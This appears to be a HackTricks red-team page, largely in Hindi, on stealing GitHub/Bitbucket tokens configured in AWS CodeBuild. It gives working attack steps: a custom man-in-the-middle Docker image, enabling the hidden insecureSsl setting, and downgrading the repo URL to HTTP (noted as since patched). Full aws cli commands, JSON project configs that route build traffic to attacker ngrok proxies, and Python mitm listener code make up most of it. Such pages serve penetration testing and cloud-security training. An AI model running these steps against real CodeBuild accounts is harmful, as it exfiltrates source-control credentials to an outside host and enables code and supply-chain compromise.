AWS Codebuild - Token Leakage

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Github/Bitbucket पर कॉन्फ़िगर किए गए Tokens पुनः प्राप्त करें

सबसे पहले, जांचें कि क्या कोई source credentials कॉन्फ़िगर किए गए हैं जिन्हें आप leak कर सकते हैं:

aws codebuild list-source-credentials

Via Docker Image

यदि आपको पता चले कि उदाहरण के लिए Github के लिए authentication खाते में सेट है, तो आप परियोजना के build को चलाने के लिए Codebuild को use an specific docker image करवा कर उस access (GH token or OAuth token) को exfiltrate कर सकते हैं।

इस उद्देश्य के लिए आप create a new Codebuild project कर सकते हैं या किसी मौजूदा प्रोजेक्ट के environment को बदलकर Docker image सेट कर सकते हैं।

The Docker image you could use is https://github.com/carlospolop/docker-mitm. यह एक बहुत बुनियादी Docker image है जो env variables https_proxy, http_proxy और SSL_CERT_FILE सेट करेगा। यह आपको उस host के अधिकांश ट्रैफ़िक को इंटरसेप्ट करने की अनुमति देगा जो https_proxy और http_proxy में निर्दिष्ट है और SSL_CERT_FILE में दिए गए SSL CERT को ट्रस्ट करेगा।

  1. Create & Upload your own Docker MitM image
  • repo के निर्देशों का पालन करके अपने proxy IP address और SSL cert सेट करें और build the docker image.
  • DO NOT SET http_proxy ताकि metadata endpoint के अनुरोधों को इंटरसेप्ट न किया जाए।
  • आप अपने host पर proxy सेट करने के लिए ngrok का उपयोग कर सकते हैं, जैसे ngrok tcp 4444 lo set the proxy to your host
  • एक बार जब आपने Docker image बना लिया, तो upload it to a public repo (Dockerhub, ECR…)
  1. Set the environment
  • एक new Codebuild project बनाएं या किसी मौजूदा परियोजना के environment को modify करें।
  • प्रोजेक्ट को use करने के लिए सेट करें previously generated Docker image
  1. Set the MitM proxy in your host
  • जैसा कि Github repo में बताया गया है आप कुछ ऐसा उपयोग कर सकते हैं:
mitmproxy --listen-port 4444  --allow-hosts "github.com"

Tip

mitmproxy version used was 9.0.1, रिपोर्ट किया गया था कि version 10 के साथ यह काम नहीं कर सकता।

  1. बिल्ड चलाएँ & credentials कैप्चर करें
  • आप Authorization हेडर में token देख सकते हैं:

इसे aws cli से भी कुछ इस तरह किया जा सकता है

# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

insecureSsl के जरिए

Codebuild projects में एक सेटिंग होती है जिसका नाम insecureSsl है जो वेब में छिपी होती है और आप इसे केवल API से ही बदल सकते हैं.\
इसे सक्षम करने पर, Codebuild प्लेटफ़ॉर्म द्वारा प्रदान किए गए रिपॉज़िटरी के प्रमाणपत्र की जाँच किए बिना कनेक्ट कर सकता है।

  • सबसे पहले आपको वर्तमान कॉन्फ़िगरेशन को कुछ इस तरह enumerate करना होगा:
aws codebuild batch-get-projects --name <proj-name>
  • फिर, एकत्र की गई जानकारी के साथ आप प्रोजेक्ट सेटिंग insecureSsl को True में अपडेट कर सकते हैं। नीचे मेरे द्वारा प्रोजेक्ट अपडेट करने का एक उदाहरण है, ध्यान दें अंत में insecureSsl=True (यह एकमात्र चीज़ है जिसे आपको एकत्रित कॉन्फ़िगरेशन से बदलना है)।
  • इसके अलावा, अपने tcp ngrok की ओर इशारा करते हुए env वेरिएबल्स http_proxy और https_proxy भी जोड़ें, जैसे:
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n  build:\n    commands:\n       - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
  • फिर, proxy variables (http_proxy and https_proxy) द्वारा संकेत किए गए पोर्ट पर https://github.com/synchronizing/mitm से बेसिक उदाहरण चलाएँ
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • Finally, click on Build the project, the credentials will be sent in clear text (base64) to the mitm port:

HTTP प्रोटोकॉल के माध्यम से

[!TIP] > This vulnerability was corrected by AWS at some point the week of the 20th of Feb of 2023 (I think on Friday). So an attacker can’t abuse it anymore :)

जिसके पास CodeBuild में elevated permissions हों, वह configured Github/Bitbucket token को leak कर सकता है, या अगर permissions OAuth के जरिए configure किए गए हों तो code तक पहुँचने के लिए उपयोग होने वाला temporary OAuth token भी leak हो सकता है।

  • एक attacker CodeBuild project में environment variables http_proxy और https_proxy जोड़ सकता है जो उसकी मशीन की ओर point करें (उदाहरण के लिए http://5.tcp.eu.ngrok.io:14972)।
  • फिर, github repo का URL HTTPS की बजाय HTTP का उपयोग करने के लिए बदलें, उदाहरण के लिए: http://github.com/carlospolop-forks/TestActions
  • फिर, proxy variables (http_proxy और https_proxy) द्वारा बताए गए पोर्ट पर https://github.com/synchronizing/mitm से basic example चलाएँ।
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • इसके बाद, Build the project पर क्लिक करें या command line से build शुरू करें:
aws codebuild start-build --project-name <proj-name>
  • अंत में, credentials साफ़ टेक्स्ट में भेजे जाएंगे (base64) mitm पोर्ट पर:

Warning

अब एक हमलावर अपने मशीन से token का उपयोग कर सकेगा, उसके पास जो भी privileges हैं उन्हें सूचीबद्ध कर सकेगा और CodeBuild service का सीधे उपयोग करने की तुलना में उन्हें (ab)use करना आसान होगा।

Untrusted PR execution via webhook filter misconfiguration

For the PR-triggered webhook bypass chain (ACTOR_ACCOUNT_ID regex + untrusted PR execution), check:

AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें